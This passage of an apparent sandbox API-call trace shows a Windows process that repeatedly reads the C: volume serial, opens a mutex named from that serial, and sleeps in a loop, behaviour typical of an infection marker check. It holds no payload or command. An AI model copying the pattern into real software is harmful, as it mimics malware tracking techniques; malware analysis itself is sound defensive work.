lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0212.218] GetProcessHeap () returned 0x6a0000 [0212.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0212.218] GetProcessHeap () returned 0x6a0000 [0212.218] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0212.218] GetProcessHeap () returned 0x6a0000 [0212.218] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0212.218] GetProcessHeap () returned 0x6a0000 [0212.218] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0212.218] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0212.218] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0212.218] CloseHandle (hObject=0x19c) returned 1 [0212.218] GetProcessHeap () returned 0x6a0000 [0212.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0212.218] GetProcessHeap () returned 0x6a0000 [0212.218] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0212.218] Sleep (dwMilliseconds=0x3e8) [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0213.932] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0213.932] GetProcessHeap () returned 0x6a0000 [0213.932] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0213.933] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0213.933] GetProcessHeap () returned 0x6a0000 [0213.933] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0213.933] GetProcessHeap () returned 0x6a0000 [0213.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0213.933] GetProcessHeap () returned 0x6a0000 [0213.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0213.933] GetProcessHeap () returned 0x6a0000 [0213.933] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0213.933] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0213.933] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0213.933] CloseHandle (hObject=0x19c) returned 1 [0213.934] GetProcessHeap () returned 0x6a0000 [0213.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0213.934] GetProcessHeap () returned 0x6a0000 [0213.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0213.934] Sleep (dwMilliseconds=0x3e8) [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0214.946] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0214.946] GetProcessHeap () returned 0x6a0000 [0214.946] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0214.946] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0214.947] GetProcessHeap () returned 0x6a0000 [0214.947] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0214.947] GetProcessHeap () returned 0x6a0000 [0214.947] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0214.947] GetProcessHeap () returned 0x6a0000 [0214.947] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0214.947] GetProcessHeap () returned 0x6a0000 [0214.947] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0214.947] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0214.947] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0214.947] CloseHandle (hObject=0x19c) returned 1 [0214.947] GetProcessHeap () returned 0x6a0000 [0214.947] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0214.947] GetProcessHeap () returned 0x6a0000 [0214.947] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0214.948] Sleep (dwMilliseconds=0x3e8) [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0215.960] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0215.960] GetProcessHeap () returned 0x6a0000 [0215.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0215.960] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0215.961] GetProcessHeap () returned 0x6a0000 [0215.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0215.961] GetProcessHeap () returned 0x6a0000 [0215.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0215.961] GetProcessHeap () returned 0x6a0000 [0215.961] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0215.961] GetProcessHeap () returned 0x6a0000 [0215.961] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0215.961] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0215.961] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0215.961] CloseHandle (hObject=0x19c) returned 1 [0215.961] GetProcessHeap () returned 0x6a0000 [0215.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0215.961] GetProcessHeap () returned 0x6a0000 [0215.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0215.961] Sleep (dwMilliseconds=0x3e8) [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0217.021] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0217.021] GetProcessHeap () returned 0x6a0000 [0217.021] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0217.021] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0217.022] GetProcessHeap () returned 0x6a0000 [0217.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0217.022] GetProcessHeap () returned 0x6a0000 [0217.022] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0217.022] GetProcessHeap () returned 0x6a0000 [0217.022] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0217.022] GetProcessHeap () returned 0x6a0000 [0217.022] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0217.022] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0217.022] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0217.022] CloseHandle (hObject=0x19c) returned 1 [0217.022] GetProcessHeap () returned 0x6a0000 [0217.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0217.022] GetProcessHeap () returned 0x6a0000 [0217.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0217.022] Sleep (dwMilliseconds=0x3e8) [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0218.390] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0218.390] GetProcessHeap () returned 0x6a0000 [0218.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0218.390] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0218.391] GetProcessHeap () returned 0x6a0000 [0218.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0218.391] GetProcessHeap () returned 0x6a0000 [0218.391] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0218.391] GetProcessHeap () returned 0x6a0000 [0218.391] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0218.391] GetProcessHeap () returned 0x6a0000 [0218.391] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0218.391] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0218.391] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0218.391] CloseHandle (hObject=0x19c) returned 1 [0218.391] GetProcessHeap () returned 0x6a0000 [0218.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0218.391] GetProcessHeap () returned 0x6a0000 [0218.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0218.391] Sleep (dwMilliseconds=0x3e8) [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0220.062] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0220.062] GetProcessHeap () returned 0x6a0000 [0220.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0220.062] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0220.064] GetProcessHeap () returned 0x6a0000 [0220.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0220.064] GetProcessHeap () returned 0x6a0000 [0220.064] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0220.064] GetProcessHeap () returned 0x6a0000 [0220.064] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0220.064] GetProcessHeap () returned 0x6a0000 [0220.064] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0220.064] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0220.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0220.064] CloseHandle (hObject=0x19c) returned 1 [0220.064] GetProcessHeap () returned 0x6a0000 [0220.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0220.064] GetProcessHeap () returned 0x6a0000 [0220.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0220.064] Sleep (dwMilliseconds=0x3e8) [0221.516] GetProcessHeap () returned 0x6a0000 [0221.516] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0221.516] GetProcessHeap () returned 0x6a0000 [0221.516] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db2a0 [0221.516] GetProcessHeap () returned 0x6a0000 [0221.516] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0221.516] GetProcessHeap () returned 0x6a0000 [0221.516] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd558 [0221.516] GetProcessHeap () returned 0x6a0000 [0221.516] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd558 | out: hHeap=0x6a0000) returned 1 [0221.516] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db2a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0221.517] GetProcessHeap () returned 0x6a0000 [0221.517] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0221.517] GetProcessHeap () returned 0x6a0000 [0221.517] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0221.517] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0221.518] GetProcessHeap () returned 0x6a0000 [0221.518] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db2a0 | out: hHeap=0x6a0000) returned 1 [0221.518] GetProcessHeap () returned 0x6a0000 [0221.518] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0221.518] GetProcessHeap () returned 0x6a0000 [0221.518] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0221.518] GetProcessHeap () returned 0x6a0000 [0221.518] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0221.518] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0221.518] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0221.518] CloseHandle (hObject=0x19c) returned 1 [0221.518] GetProcessHeap () returned 0x6a0000 [0221.518] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0221.518] GetProcessHeap () returned 0x6a0000 [0221.518] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0221.518] Sleep (dwMilliseconds=0x3e8) [0222.574] GetProcessHeap () returned 0x6a0000 [0222.574] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db278 [0222.574] GetProcessHeap () returned 0x6a0000 [0222.574] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0222.574] GetProcessHeap () returned 0x6a0000 [0222.574] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0222.574] GetProcessHeap () returned 0x6a0000 [0222.574] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0222.574] GetProcessHeap () returned 0x6a0000 [0222.574] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0222.574] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0222.574] GetProcessHeap () returned 0x6a0000 [0222.575] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0222.575] GetProcessHeap () returned 0x6a0000 [0222.575] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0222.575] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0222.575] GetProcessHeap () returned 0x6a0000 [0222.575] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0222.575] GetProcessHeap () returned 0x6a0000 [0222.575] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0222.575] GetProcessHeap () returned 0x6a0000 [0222.575] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0222.575] GetProcessHeap () returned 0x6a0000 [0222.575] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0222.575] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x194 [0222.575] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0222.575] CloseHandle (hObject=0x194) returned 1 [0222.575] GetProcessHeap () returned 0x6a0000 [0222.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0222.576] GetProcessHeap () returned 0x6a0000 [0222.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0222.576] Sleep (dwMilliseconds=0x3e8) [0223.865] GetProcessHeap () returned 0x6a0000 [0223.865] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0223.865] GetProcessHeap () returned 0x6a0000 [0223.865] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db278 [0223.865] GetProcessHeap () returned 0x6a0000 [0223.865] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6daee0 [0223.865] GetProcessHeap () returned 0x6a0000 [0223.865] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d45e8 [0223.865] GetProcessHeap () returned 0x6a0000 [0223.865] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d45e8 | out: hHeap=0x6a0000) returned 1 [0223.865] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db278, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0223.866] GetProcessHeap () returned 0x6a0000 [0223.866] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0223.866] GetProcessHeap () returned 0x6a0000 [0223.866] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0223.866] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0223.866] GetProcessHeap () returned 0x6a0000 [0223.866] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0223.866] GetProcessHeap () returned 0x6a0000 [0223.866] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0223.866] GetProcessHeap () returned 0x6a0000 [0223.866] 